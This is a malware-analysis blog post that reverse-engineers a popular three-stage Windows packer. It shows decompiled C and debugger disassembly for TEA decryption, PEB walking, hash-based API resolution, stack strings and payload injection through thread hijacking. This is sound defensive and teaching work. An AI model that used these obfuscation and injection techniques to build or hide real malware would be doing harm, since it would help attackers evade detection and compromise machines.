Anatomy of a simple and popular packer

fumik0.com/2021/04/24/anatomy-of-a-simple-and-popular-packer

fumko

April 24, 2021



It's been a while that I haven't release some stuff here and indeed, it's mostly caused by how fucked up 2020 was. I would have been pleased if this global pandemic hasn't wrecked me so much but i was served as well. Nowadays, with everything closed, corona haircut is new trend and finding a graphic cards or PS5 is like winning at the lottery. So why not fflush all that bullshit by spending some time into malware curiosities (with the support of some croissant and animes), whatever the time, weebs are still weebs.

So let's start 2021 with something really simple... Why not dissecting completely to the ground a well-known packer mixing C/C++ & shellcode (active since some years now).



Typical icons that could be seen with this packer

This one is a cool playground for checking its basics with someone that need to start learning into malware analysis/reverse engineering:

- Obfuscation
- Cryptography
- Decompression
- Multi-stage
- Shellcode

• Remote Thread Hijacking

Disclamer: This post will be different from what i'm doing usually in my blog with almost no text but i took the time for decompiling and reviewing all the code. So I considered everything is explain.

For this analysis, this sample will be used:

```
B7D90C9D14D124A163F5B3476160E1CF
```

Architecture

Speaking of itself, the packer is split into 3 main stages:

- A PE that will allocate, decrypt and execute the shellcode n°1
- Saving required WinAPI calls, decrypting, decompressing and executing shellcode $n^{\circ}{\bf 2}$
- Saving required WinAPI calls (again) and executing payload with a remote threat hijacking trick



An overview of this packer

Stage 1 - The PE

The first stage is misleading the analyst to think that a decent amount of instructions are performed, but... after purging all the junk code and unused functions, the cleaned **Winmain** function is unveiling a short and standard setup for launching a shellcode.

```
int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR
lpCmdLine, int nShowCmd)
{
 int i;
 SIZE_T uBytes;
 HMODULE hModule;
  // Will be used for Virtual Protect call
 hKernel32 = LoadLibraryA("kernel32.dll");
  // Bullshit stuff for getting correct uBytes value
  uBytes = CONST_VALUE
 _LocalAlloc();
 for (i = 0; j < uBytes; ++i) \{
    (_FillAlloc)();
  }
 _VirtualProtect();
 // Decrypt function vary between date & samples
 _Decrypt();
 _ExecShellcode();
 return 0;
}
```

It's important to notice this packer is changing its first stage regularly, but it doesn't mean the whole will change in the same way. In fact, the core remains intact but the form will be different, so whenever you have reversed this piece of code once, the pattern is recognizable easily in no time.

Beside using a classic **<u>VirtualAlloc</u>**, this one is using <u>**LocalAlloc**</u> for creating an allocated memory page to store the second stage. The variable uBytes was continuously created behind some spaghetti code (global values, loops and conditions).

```
int (*LocalAlloc())(void)
{
    int (*pBuff)(void); // eax
    pBuff = LocalAlloc(0, uBytes);
    Shellcode = pBuff;
    return pBuff;
}
```

For avoiding giving directly the position of the shellcode, It's using a simple addition trick for filling the buffer step by step.

```
int __usercall FillAlloc(int i)
{
    int result; // eax
    // All bullshit code removed
    result = dword_834B70 + 0x7E996;
    *(Shellcode + i) = *(dword_834B70 + 0x7E996 + i);
    return result;
}
```

Then obviously, whenever an allocation is called, **<u>VirtualProtect</u>** is not far away for finishing the job. The function name is obfuscated as first glance and adjusted. then for avoiding calling it directly, our all-time classic **<u>GetProcAddress</u>** will do the job for saving this **<u>WinAPI</u>** call into a pointer function.

```
BOOL __stdcall VirtualProtect()
{
    char v1[4]; // [esp+4h] [ebp-4h] BYREF
    String = 0;
    lstrcatA(&String, "VertualBritect"); // No ragrets
    byte_442581 = 'i';
    byte_442587 = 'P';
    byte_442589 = 'o';
    pVirtualProtect = GetProcAddress(hKernel32, &String);
    return (pVirtualProtect)(Shellcode, uBytes, 64, v1);
}
```

Decrypting the the first shellcode

The philosophy behind this packer will lead you to think that the decryption algorithm will not be that much complex. Here the encryption used is **TEA**, it's simple and easy to used

I am always skeptical whenever i'm reading some manual implementation of a known cryptography algorithm, due that most of the time it could be tweaked. So before trying to understand what are the changes, let's take our time to just make sure about which variable we have to identified:

- v[0] and v[1]
- y & z
- Number of circles (n=32)
- 16 bytes key represented as k[0], k[1], k[2], k[3]
- delta
- sum

	0041105A	8B30	mov esi,dword ptr ds:[eax]	v[0]
	0041105C	57	push edi	
۲	0041105D	8B78 04	mov edi,dword ptr ds:[eax+4]	v[1]
۲	00411060	A1 50014400	mov eax,dword ptr ds:[440150]	k[0]
۰	00411065	89B424 AC020000	mov dword ptr ss:[esp+2AC],esi	
۲	0041106C	BB 2037EFC6	mov ebx,C6EF3720	sum
	00411071	898424 B0020000	mov dword ptr ss:[esp+2B0],eax	
	00411078	~ 75 ØA	jne stage1.411084	
•	0041107A	6A 00	push 🥹	
	0041107C	6A 00	push 0	
•	0041107E	FF15 6C404100	<pre>call dword ptr ds:[<beginupdateresourcew>]</beginupdateresourcew></pre>	
L>©	00411084	813D 74448300 570F00	<pre>cmp dword ptr ds:[<ubytes>],F57</ubytes></pre>	00834474:"0d\x02"
•	0041108E	8B0D 54014400	mov_ecx,dword_ptr_ds:[440154]	k[1]
	00411094	8815 58014400	mov edx,dword ptr ds:[440158]	k[2]
•	0041109A	A1 5C014400	mov eax_dword ptr ds:[44015C]	k[3]
•	0041109F	898C24 B4020000	mov dword ptr ss:[esp+2B4],ecx	
۲	004110A6	899424 BC020000	mov dword ptr ss:[esp+2BC],edx	
۲	004110AD	898424 B8020000	mov dword ptr ss:[esp+2B8],eax	

Identifying TEA variables in x32dbg

For adding more salt to it, you have your dose of mindless amount of garbage instructions.

- +	0041117E	· ·	6A 00	push 0	DWORD dwSize = 0
•	00411180		8D9424 C4020000	lea edx,dword ptr ss:[esp+2C4]	
۲	00411187		52	push edx	LPCOMMCONFIG 1pCC
•	00411188		6A 00	push 0	LPCTSTR lpszName = NULL
•	0041118A	\sim	FF15 04404100	<pre>call dword ptr ds:[<setdefaultcommconfiga>]</setdefaultcommconfiga></pre>	SetDefaultCommConfigA
•	00411190	>	2B7C24 10	<pre>sub edi,dword ptr ss:[esp+10]</pre>	
۲	00411194		C78424 78010000 C5BC	mov dword ptr ss:[esp+178],4B71BCC5	
•	0041119F		C78424 1C020000 538D	<pre>mov dword ptr ss:[esp+21C],14228D53</pre>	
•	004111AA	÷.	C78424 A4000000 55D3	mov dword ptr ss:[esp+A4],4B1FD355	
۲	004111B5		C78424 EC000000 400D	mov dword ptr ss:[esp+EC];458E0D40	
•	004111C0	•	C78424 D4010000 6EE9	mov dword ptr ss:[esp+1D4],7524E96E	
۲	004111CB		C78424 A0010000 FA0B	<pre>mov dword ptr ss:[esp+1A0],6B770BFA</pre>	
•	004111D6	•	C78424 58020000 5738	<pre>mov dword ptr ss:[esp+258],5A6C3857</pre>	
•	004111E1	•	C78424 58010000 11FB	<pre>mov dword ptr ss:[esp+158],4F52FB11</pre>	
•	004111EC	•	C74424 78 FAC12455	mov dword ptr ss:[esp+78],5524C1FA	
۲	004111F4		C74424 18 A77C7C6E	mov dword ptr ss:[esp+18],6E7C7CA7	
•	004111FC	÷.	C78424 30020000 A080	mov dword ptr ss:[esp+230],418280A0	
۲	00411207	•	C78424 68020000 73E2	<pre>mov dword ptr ss:[esp+268],548CE273</pre>	
•	00411212		C78424 88020000 1F62	mov dword ptr ss:[esp+288],3312621F	

Junk code hiding the algorithm

After removing everything unnecessary, our TEA decryption algorithm is looking like this

```
int *__stdcall _TEADecrypt(int *v)
{
  unsigned int y, z, sum;
  int i, v7, v8, v9, v10, k[4];
  int *result;
  y = *y;
  z = v[1];
  sum = 0xC6EF3720;
  k[0] = dword_440150;
  k[1] = dword_{440154};
  k[3] = dword_{440158};
  k[2] = dword_44015C;
  i = 32;
  do
  {
    // Junk code purged
    v7 = k[2] + (y >> 5);
    v9 = (sum + y) \wedge (k[3] + 16 * y);
    v8 = v9 \wedge v7;
    z -= v8;
    v10 = k[0] + 16 * z;
    (_TEA_Y_Operation)((sum + z) \land (k[1] + (z >> 5)) \land v10);
    sum += 0x61C88647; // exact equivalent of sum -= 0x9
    --i;
  }
  while ( i );
  result = v;
  v[1] = z;
  *v = y;
  return result;
}
```

At this step, the first stage of this packer is now almost complete. By inspecting the dump, you can recognizing our shellcode being ready for action (55 8B EC opcodes are in my personal experience stuff that triggered me almost everytime).

0094AD10	E8	01	00	00	00	C3	55	8B	EC	8D	45	C4	83	EC	ЗC	50	èÃU.ì.EÄ.ì≺P
0094AD20	E8	ØD				8D	45	C4	50	E8	88	07			59	59	èEÄPèYY
0094AD30	C9	C3	55	8B	EC	83	EC	38	53	56	57	8B	45	08	C6		ÉÃU.ì.ì8SVW.E.Æ
0094AD40		83	65	FC		E8					58	89	45	FØ	81	45	eü.èX.Eð.E
0094AD50	FØ	CB	07			8B	45	08	8B	4D	FØ	89	48	04	8B	45	ðËEMð.HE
0094AD60	FØ	83	CØ	ЗD	8B	4D	08	89	41	08	68	86	57	ØD		68	δ.À=.MA.h.W. h
0094AD70	88	4E	ØD		E8	1A				89	45	F8	68	FA	8B	34	.NèEøhú.4
0094AD80		68	88	4E	ØD		E8	08				89	45	CC	E9	B5	h.N. èEÌéµ
0094AD90				55	8B	EC	53	56	57	51	64		35	30			U.1SVWQdÿ50

Stage 2 - Falling into the shellcode playground

This shellcode is pretty simple, the main function is just calling two functions:

- One focused for saving fundamentals WinAPI call
 - <u>LoadLibraryA</u>
 - GetProcAddress
- Creating the shellcode API structure and setup the workaround for pushing and launching the last shellcode stage

۲	0094AD16	55	push ebp
۰	0094AD17	8BEC	mov ebp_esp
۲	0094AD19	8D45 C4	<pre>lea eax,dword ptr ss:[ebp-3C]</pre>
۲	0094AD1C	83EC 3C	sub esp,3C
۲	0094AD1F	50	push eax
	0094AD20	E8 0D000000	call 94AD32
	0094AD25	8D45 C4	<pre>lea eax,dword ptr ss:[ebp-3C]</pre>
۲	0094AD28	50	push eax
۲	0094AD29	E8 88070000	call 94B4B6
۲	0094AD2E	59	pop ecx
۲	0094AD2F	59	pop ecx
۲	0094AD30	C9	leave
	0094AD31	C3	ret

Shellcode main()

Give my WinAPI calls

Disclamer: In this part, almost no text explanation, everything is detailed with the code

PEB & BaseDIIName

Like any another shellcode, it needs to get some address function to start its job, so our **PEB** best friend is there to do the job.

```
00965233 | 55
                                     | push ebp
00965234 | 8BEC
                                     | mov ebp,esp
00965236 | 53
                                     | push ebx
00965237 | 56
                                     | push esi
00965238 | 57
                                     | push edi
00965239 | 51
                                     | push ecx
                                     | push dword ptr fs:[30]
0096523A | 64:FF35 3000000
Pointer to PEB
00965241 | 58
                                     | pop eax
                                     | mov eax, dword ptr ds:[eax+C]
00965242 | 8B40 0C
Pointer to Ldr
                                     | mov ecx, dword ptr ds:[eax+C]
00965245 | 8B48 0C
Pointer to Ldr->InLoadOrderModuleList
00965248 | 8B11
                                     | mov edx, dword ptr ds:[ecx]
Pointer to List Entry (aka pEntry)
0096524A | 8B41 30
                                     | mov eax, dword ptr ds:[ecx+30]
Pointer to BaseDllName buffer (pEntry->DllBaseName->Buffer)
```

Let's take a look then in the **PEB** structure

Address	Hep	ĸ															ASCII
008D36C0	<u>A8</u>	38	8D	00	C 8	37	8D	00	BØ	38	8D	00	D0	37	8D	00	È7°;Đ7
008D36D0	70	3F	8D	00	BC	7B	CC	77	00	00	BB	77	00	00	00	00	p?%{Ìw»w
008D36E0	00	00	19	00	ЗA	00	3C	00	AØ	35	8D	00	12		14		. : K 5
008D36F0	BØ	6D	BB	77	C4	AA			FF	FF	00	00	AØ	7A	CC	77	°m≫wÄ⊒.ÿÿ. zÌw
008D3700	AØ	7A	CC	77	06	E4	58	43					00	00	00	00	zÌw.äXC
008D3710	80	37	8D	00	80	37	8D	00	80	37	8D	00					.777.
008D3720	00	00	00	00	00	00	00	00	00	00	00	00					

For beginners, i sorted all these values with there respective variable names and meaning.

offset	Туре	Variable	Value
0x00	LIST_ENTRY	InLoaderOrderModuleList->Flink	A8 3B 8D 00
0x04	LIST_ENTRY	InLoaderOrderModuleList->Blink	C8 37 8D 00
0x08	LIST_ENTRY	InMemoryOrderList->Flink	B0 3B 8D 00
0x0C	LIST_ENTRY	InMemoryOrderList->Blick	D0 37 8D 00
0x10	LIST_ENTRY	InInitializationOrderModulerList- >Flink	70 3F 8D 00
0x14	LIST_ENTRY	InInitializationOrderModulerList- >Blink	BC 7B CC 77
0x18	PVOID	BaseAddress	00 00 BB 77
0x1C	PVOID	EntryPoint	00 00 00 00
0x20	UINT	SizeOfImage	00 00 19 00
0x24	UNICODE_STRING	FullDIIName	3A 00 3C 00 A0 35 8D 00
0x2C	UNICODE_STRING	BaseDIIName	12 00 14 00 B0 6D BB 77

Because he wants at the first the **BaseDllName** for getting **kernel32.dll** We could supposed the shellcode will use the offset 0x2c for having the value but it's pointing to 0x30

008F524A | 8B41 30 | mov eax, dword ptr ds:[ecx+30]

It means, It will grab buffer pointer from the <u>UNICODE_STRING</u> structure

```
typedef struct _UNICODE_STRING {
   USHORT Length;
   USHORT MaximumLength;
   PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
```

After that, the magic appears

Register Address Symbol Value

EAX 77BB6DB0 L"ntdll.dll"

Homemade checksum algorithm ?

Searching a library name or function behind its respective hash is a common trick performed in the wild.

mov edx,dword ptr ds:[ecx]	I
mov eax,dword ptr ds:[ecx+30]	l
push 2	l
mov edi,dword ptr ss:[ebp+8]	l
push edi	l
push eax	l
call 9652B4	l
test eax,eax	l
je 965261	l
mov ecx,edx	l
jmp 965248	I
	<pre> mov edx,dword ptr ds:[ecx] mov eax,dword ptr ds:[ecx+30] push 2 mov edi,dword ptr ss:[ebp+8] push edi push eax call 9652B4 test eax,eax je 965261 mov ecx,edx</pre>

The checksum function used here seems to have a decent risk of hash collisions, but based on the number of occurrences and length of the strings, it's negligible. Otherwise yeah, it could be fucked up very quickly.

```
BOOL Checksum(PWSTR *pBuffer, int hash, int i)
{
  int pos; // ecx
  int checksum; // ebx
  int c; // edx
  pos = 0;
  checksum = 0;
  c = 0;
  do
  {
    LOBYTE(c) = *pBuffer | 0x60;
                                                 // Lowercase
    checksum = 2 * (c + checksum);
                                                 // +2 due it's UNICODE
    pBuffer += i;
    LOBYTE(pos) = *pBuffer;
    --pos;
  }
  while ( *pBuffer && pos );
  return checksum != hash;
}
```

With the **<u>pEntry</u>** list saved and the checksum function assimilated, it only needs to perform a loop that repeat the process to get the name of the function, put him into the checksum then comparing it with the one that the packer wants.

00965261 | 8B41 18 | mov eax, dword ptr ds:[ecx+18] BaseAddress 00965264 | 50 | push eax 00965265 | 8B58 3C | mov ebx,dword ptr ds:[eax+3C] PE Signature (e_lfanew) RVA 00965268 | 03C3 | add eax, ebx pNTHeader = BaseAddress + PE Signature RVA | mov ebx,dword ptr ds:[eax+78] 0096526A | 8B58 78 Export Table RVA 0096526D | 58 | pop eax 0096526E | 50 | push eax 0096526F | 03D8 | add ebx,eax Export Table 00965271 | 8B4B 1C | mov ecx,dword ptr ds:[ebx+1C] Address of Functions RVA 00965274 | 8B53 20 | mov edx, dword ptr ds:[ebx+20] Address of Names RVA | mov ebx,dword ptr ds:[ebx+24] 00965277 | 8B5B 24 Address of Name Ordinals RVA 0096527A | 03C8 | add ecx,eax Address Table 0096527C | 03D0 | add edx,eax Name Pointer Table (NPT) 0096527E | 03D8 | add ebx,eax Ordinal Table (OT) 00965280 | 8B32 | mov esi,dword ptr ds:[edx] 00965282 | 58 | pop eax 00965283 | 50 | push eax BaseAddress 00965284 | 03F0 | add esi,eax Function Name = NPT[i] + BaseAddress 00965286 | 6A 01 | push 1 Increment to 1 loop 00965288 | FF75 0C | push dword ptr ss:[ebp+C] Function Hash (searched one) 0096528B | 56 | push esi Function Name 0096528C | E8 23000000 | call 9652B4 Checksum() 00965291 | 85C0 | test eax,eax 00965293 | 74 08 | je 96529D 00965295 | 83C2 04 | add edx,4 00965298 | 83C3 02 | add ebx,2 0096529B | EB E3 | jmp 965280

Save the function address

When the name is matching with the hash in output, so it only requiring now to grab the function address and store into EAX.

```
0096529D | 58
                                   | pop eax
0096529E | 33D2
                                   | xor edx,edx
Purge
                              | mov dx,word ptr ds:[ebx]
009652A0 | 66:8B13
                                 | shl edx,2
009652A3 | C1E2 02
Ordinal Value
009652A6 | 03CA
                               | add ecx,edx
Function Address RVA
009652A8 | 0301
                                   | add eax, dword ptr ds:[ecx]
Function Address = BaseAddress + Function Address RVA
009652AA | 59
                                   | pop ecx
009652AB | 5F
                                   | pop edi
009652AC | 5E
                                   | pop esi
009652AD | 5B
                                   | pop ebx
009652AE | 8BE5
                                  | mov esp,ebp
009652B0 | 5D
                                  | pop ebp
009652B1 | C2 0800
                                 | ret 8
```

Road to the second shellcode ! \o/

Saving API into a structure

Now that **LoadLibraryA** and **GetProcAddress** are saved, it only needs to select the function name it wants and putting it into the routine explain above.

۲	009952FE	8365 F4 00	and dword ptr ss:[ebp-C],0	
	00995302	8B45 C8	<pre>mov eax,dword ptr ss:[ebp-38]</pre>	
۲	00995305	C74405 D0 6B65726E	mov dword ptr ss:[ebp+eax-30],6E72656B	Stack strings
	0099530D	8B45 C8	mov eax,dword ptr ss:[ebp-38]	
•	00995310	83C0 04	add eax,4	
	00995313	8945 C8	mov dword ptr ss:[ebp-38],eax	
	00995316	8B45 C8	mov eax,dword ptr ss:[ebp-38]	
	00995319	C74405 D0 656C3332	mov dword ptr ss:[ebp+eax-30],32336C65	Stack strings
•	00995321	8B45 C8	mov eax,dword ptr ss:[ebp-38]	
۲	00995324	83C0 04	add eax,4	
	00995327	8945 C8	mov dword ptr ss:[ebp-38],eax	
	0099532A	8B45 C8	mov eax,dword ptr ss:[ebp-38]	
•	0099532D	C74405 D0 2E646C6C	mov dword ptr ss:[ebp+eax-30],6C6C642E	Stack strings
	00995335	8B45 C8	mov eax,dword ptr ss:[ebp-38]	
۲	00995338	83C0 04	add eax,4	
-	00005330	0045 50	many dypend etc. so i John 201 part	

In the end, the shellcode is completely setup

```
struct SHELLCODE
{
  _BYTE Start;
  SCHEADER *ScHeader;
  int ScStartOffset;
  int seed;
  int (__stdcall *pLoadLibraryA)(int *);
  int (__stdcall *pGetProcAddress)(int, int *);
  PVOID GlobalAlloc;
  PVOID GetLastError;
  PVOID Sleep;
  PVOID VirtuaAlloc;
  PVOID CreateToolhelp32Snapshot;
  PVOID Module32First;
  PVOID CloseHandle;
};
struct SCHEADER
{
  _DWORD dwSize;
  _DWORD dwSeed;
  _BYTE option;
  _DWORD dwDecompressedSize;
};
```

Abusing fake loops

Something that i really found cool in this packer is how the fake loop are funky. They have no sense but somehow they are working and it's somewhat amazing. The more absurd it is, the more i like and i found this really clever.

```
int __cdecl ExecuteShellcode(SHELLCODE *sc)
{
  unsigned int i; // ebx
  int hModule; // edi
  int lpme[137]; // [esp+Ch] [ebp-224h] BYREF
  lpme[0] = 0x224;
  for (i = 0; i < 0x64; ++i)
  {
    if ( i )
      (sc->Sleep)(100);
    hModule = (sc->CreateToolhelp32Snapshot)(TH32CS_SNAPMODULE, 0);
    if ( hModule != -1 )
      break;
    if ( (sc->GetLastError)() != 24 )
      break;
  }
  if ( (sc->Module32First)(hModule, lpme) )
    JumpToShellcode(sc); // <----- This is where to look :)</pre>
  return (sc->CloseHandle)(hModule);
}
```

Allocation & preparing new shellcode

```
void __cdecl JumpToShellcode(SHELLCODE *SC)
{
  int i;
  unsigned __int8 *lpvAddr;
  unsigned __int8 *StartOffset;
  StartOffset = SC->ScStartOffset;
  Decrypt(SC, StartOffset, SC->ScHeader->dwSize, SC->ScHeader->Seed);
  if ( SC->ScHeader->Option )
  {
    lpvAddr = (SC->VirtuaAlloc)(0, *(&SC->ScHeader->dwDecompressSize), 4096, 64);
    i = 0;
    Decompress(StartOffset, SC->ScHeader->dwDecompressSize, lpvAddr, i);
    StartOffset = lpvAddr;
    SC->ScHeader->CompressSize = i;
  }
  __asm { jmp
                  [ebp+StartOffset] }
```

Decryption & Decompression

The decryption is even simpler than the one for the first stage by using a simple reimplementation of the **ms_rand** function, with a set seed value grabbed from the shellcode structure, that i decided to call here **SCHEADER**.

```
int Decrypt(SHELLCODE *sc, int startOffset, unsigned int size, int s)
{
    int seed; // eax
    unsigned int count; // esi
    _BYTE *v6; // edx
    seed = s;
    count = 0;
    for ( API->seed = s; count < size; ++count )
    {
        seed = ms_rand(sc);
        *v6 ^= seed;
    }
    return seed;
}</pre>
```



XOR everywhere \o/

Then when it's done, it only needs to be decompressed.



Stage 3 - Launching the payload

Reaching finally the final stage of this packer. This is the exact same pattern like the first shellcode:

- Find & Stored GetProcAddress & Load Library
- Saving all WinAPI functions required
- Pushing the payload

The structure from this one is a bit longer

```
struct SHELLCODE
{
  PVOID (__stdcall *pLoadLibraryA)(LPCSTR);
  PVOID (__stdcall *pGetProcAddress)(HMODULE, LPSTR);
  char notused;
 PV0ID Sc0ffset;
  PVOID LoadLibraryA;
  PVOID MessageBoxA;
  PVOID GetMessageExtraInfo;
 PVOID hKernel32;
 PVOID WinExec;
 PVOID CreateFileA;
  PVOID WriteFile;
  PVOID CloseHandle;
  PVOID CreateProcessA;
  PVOID GetThreadContext;
 PVOID VirtualAlloc;
  PVOID VirtualAllocEx;
 PVOID VirtualFree;
  PVOID ReadProcessMemory;
  PVOID WriteProcessMemory;
  PVOID SetThreadContext;
  PVOID ResumeThread;
 PVOID WaitForSingleObject;
  PVOID GetModuleFileNameA;
  PVOID GetCommandLineA;
  PVOID RegisterClassExA;
  PVOID CreateWindowA;
 PVOID PostMessageA;
 PVOID GetMessageA;
  PVOID DefWindowProcA;
  PVOID GetFileAttributesA;
  PVOID hNtdll;
 PVOID NtUnmapViewOfSection;
 PVOID NtWriteVirtualMemory;
 PVOID GetStartupInfoA;
 PVOID VirtualProtectEx;
  PVOID ExitProcess;
};
```

Interestingly, the stack string trick is different from the first stage

0094063F 50 push eax eax:&lunder-11-1-0" 00940640 BDBD 20FFFFFF lea ecx,dword ptr ss:[ebp-E0] eax:&lunder-11-1-0" 00940647 EB C4F9FFFF call 940010 ecx:lunder-11-1-0" 00940647 EB C4F9FFFF call 940010 ecx:lunder-11-1-0" 00940647 CBS 28FFFFF 60 mov byte ptr ss:[ebp-128],75 75:'u' 00940650 CGBS D9FEFFFF 73 mov byte ptr ss:[ebp-126],65 65:'e' 00940668 CGBS D9FEFFFF 72 mov byte ptr ss:[ebp-128],73 73:'s' 00940679 CGBS D0FEFFFF 73 mov byte ptr ss:[ebp-128],82 33:'3' 00940679 CGBS D0FEFFFF 72 mov byte ptr ss:[ebp-128],32 33:'3' 00940679 CGBS D0FEFFFF 73 mov byte ptr ss:[ebp-123],32 32:'2' 00940688 CGBS DFEFFFF 80 mov byte ptr ss:[ebp-112],65 65:'e' 00940689 CGBS E0FEFFFF 73 mov byte ptr ss:[ebp-112],65 65:'e' 00940692 CGBS E0FEFFFF 73 mov byte ptr ss:[ebp-112],65 65:'e' 00940695 CGBS E0FEFFFF 73 mov byte ptr ss:[ebp-110],73 73:'s' 00940696 CGBS E0FEFFFF 73 mov byte ptr ss:[e					
00940640 00940646 00940646 00940646 00940647 880 C4FFFFFF E8 C4F9FFFF 00 byte ptr ss:[cbp-D8],0 mov byte ptr ss:[cbp-D8],0 mov byte ptr ss:[cbp-128],75 00940650 00940650 00940650 00940650 00940664 ecx:L"nder-11-1-0" 00940647 00940650 00940650 00940650 00940650 00940664 C685 D8FEFFFF 73 mov byte ptr ss:[cbp-128],75 00940664 75:'u' 75:'u' 75:'u' 00940650 00940650 00940650 00940664 75:'u' 75:'u' 75:'u' 00940664 00940654 00940650 00940650 00940650 C685 D8FEFFFF 73 mov byte ptr ss:[cbp-128],83 33:'3' 000 byte ptr ss:[cbp-124],33 33:'3' 000 byte ptr ss:[cbp-128],40 00940687 33:'3' 32:'2' 00940688 0685 DEFEFFFF 40 mov byte ptr ss:[cbp-118],73 73:'s' 00940658 33:'3' 73:'s' 000 byte ptr ss:[cbp-118],73 73:'s' 00940663 35:'e' 75:'u' 75:'u' 75:'u' 75:'u' 75:'u' 75:'s' 75:'u' 75:'s' 75:'u' 75:'s' 7		0094063F	50	push eax	eax:&L"nder-11-1-0"
00940646 51 push ecx ecx:L"nder-l1-1-0" 00940647 E8 C4F9FFFF call 940010 add esp.8 00940647 C685 28FFFFF 00 mov byte ptr ss:[ebp-128],75 75:'u' 00940650 C685 D8FEFFF 73 mov byte ptr ss:[ebp-127],73 73:'s' 00940650 C685 D8FEFFF 73 mov byte ptr ss:[ebp-126],65 65:'e' 00940650 C685 D8FEFFF 73 mov byte ptr ss:[ebp-128],72 72:'r' 00940652 C685 D8FEFFF 73 mov byte ptr ss:[ebp-128],72 72:'r' 00940652 C685 D0FEFFF 73 mov byte ptr ss:[ebp-128],73 33:'3' 00940652 C685 D0FEFFFF 00 mov byte ptr ss:[ebp-128],72 72:'r' 00940652 C685 D0FEFFFF 40 mov byte ptr ss:[ebp-128],73 33:'3' 00940682 C685 E1FEFFF 65 mov byte ptr ss:[ebp-110],73 73:'s' 00940695 C685 E3FEFFFF 73 mov byte ptr ss:[ebp-110],73 73:'s' 00940681 C685 E5FEFFFF 67 mov byte ptr ss:[ebp-110],73 73:'s' 00940681 C685 E5FEFFFF 67 mov byte ptr ss:[ebp-110],73 73:'s' 00940681 C685 E5FEFFFF 67 mov byte ptr ss:[ebp-113],65	۰	00940640	8D8D 20FFFFFF	<pre>lea ecx,dword ptr ss:[ebp-E0]</pre>	
00940647 E8 C4F9FFFF call 940010 00940647 83C4 08 add esp,8 00940647 C685 28FFFFF 00 mov byte ptr ss: [ebp-128],75 75: 'u' 00940656 C685 D8FEFFFF 73 mov byte ptr ss: [ebp-127],73 73: 's' 00940656 C685 D8FEFFFF 73 mov byte ptr ss: [ebp-127],73 73: 's' 00940666 C685 D8FEFFFF 73 mov byte ptr ss: [ebp-128],72 72: 'r' 00940667 C685 D8FEFFFF 73 mov byte ptr ss: [ebp-128],32 33: '3' 00940672 C685 D8FEFFFF 40 mov byte ptr ss: [ebp-123],32 32: '2' 00940687 C685 D8FEFFFF 40 mov byte ptr ss: [ebp-123],40 4D: 'M' 00940687 C685 D8FEFFFF 65 mov byte ptr ss: [ebp-120],40 4D: 'M' 00940688 C685 E3FEFFFF 73 mov byte ptr ss: [ebp-116],73 73: 's' 00940695 C685 E3FEFFFF 65 mov byte ptr ss: [ebp-116],73 73: 's' 00940643 C685 E3FEFFFF 61 mov byte ptr ss: [ebp-116],67 67: 'g' 00940643 C685 E3FEFFFF 65 mov byte ptr ss: [ebp-118],65 65: 'e' 00940643 C685 E3FEFFFF 65 mov byte ptr ss: [ebp-118],67 67: 'g' <th></th> <th>00940646</th> <th>51</th> <th>push ecx</th> <th>ecx:L"nder-l1-1-0"</th>		00940646	51	push ecx	ecx:L"nder-l1-1-0"
00944064C 83C4 08 add esp.8 00944064F C685 28FFFFFF 00 mov byte ptr ss:[ebp-128],75 75:'u' 00944065D C685 D8FEFFFF 73 mov byte ptr ss:[ebp-128],75 75:'u' 00944066C C685 D8FEFFFF 73 mov byte ptr ss:[ebp-126],65 65:'e' 00944067C C685 D8FEFFFF 72 mov byte ptr ss:[ebp-126],72 72:'r' 00944067C C685 D8FEFFFF 72 mov byte ptr ss:[ebp-128],72 72:'r' 00944067C C685 D0FEFFFF 72 mov byte ptr ss:[ebp-128],72 72:'r' 00944067C C685 D0FEFFFF 72 mov byte ptr ss:[ebp-128],72 72:'r' 00944067C C685 D0FEFFFF 72 mov byte ptr ss:[ebp-128],82 32:'2' 00944068C C685 DEFEFFF 73 mov byte ptr ss:[ebp-128],40 4D:'M' 00944069C C685 E2FEFFFF 73 mov byte ptr ss:[ebp-110],73 73:'s' 009440681 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-110],73 73:'s' 009440681 C685 E3FEFFFF 65 mov byte ptr ss:[ebp-113],65 65:'e' 009440681 C685 E3FEFFFF 73 mov byte ptr ss:[ebp-113],65 65:'e' 009440681 C685 E3FEFFFF 67 mov byte ptr ss:[ebp-	•	00940647	E8 C4F9FFFF	call 940010	
0094064F C685 28FFFFF 00 mov byte ptr ss: [cbp-128],0 00940656 C685 D8FEFFFF 75 mov byte ptr ss: [cbp-127],73 73:'s' 00940650 C685 D8FEFFFF 73 mov byte ptr ss: [cbp-126],65 65:'e' 00940668 C685 D8FEFFFF 73 mov byte ptr ss: [cbp-126],72 72:'r' 00940672 C685 D0FEFFFF 33 mov byte ptr ss: [cbp-123],32 33:'3' 00940672 C685 D0FEFFFF 32 mov byte ptr ss: [cbp-123],32 32:'2' 00940680 C685 D0FEFFFF 73 mov byte ptr ss: [cbp-123],32 32:'2' 00940682 C685 E0FEFFFF 40 mov byte ptr ss: [cbp-123],40 40:'M' 00940682 C685 E1FEFFF 73 mov byte ptr ss: [cbp-116],40 40:'M' 00940682 C685 E3FEFFF 73 mov byte ptr ss: [cbp-116],73 73:'s' 00940694 C685 E3FEFFF 65 mov byte ptr ss: [cbp-116],61 61:'a' 00940643 C685 E3FEFFFF 65 mov byte ptr ss: [cbp-118],65 65:'e' 00940644 C685 E3FEFFFF 65 mov byte ptr ss: [cbp-118],65 65:'e' 00940643 C685 E3FEFFFF 65 mov byte ptr ss: [cbp-118],65 65:'e' 009406644 C685 E3FEFFFF 65 <		0094064C	83C4 08	add esp_8	
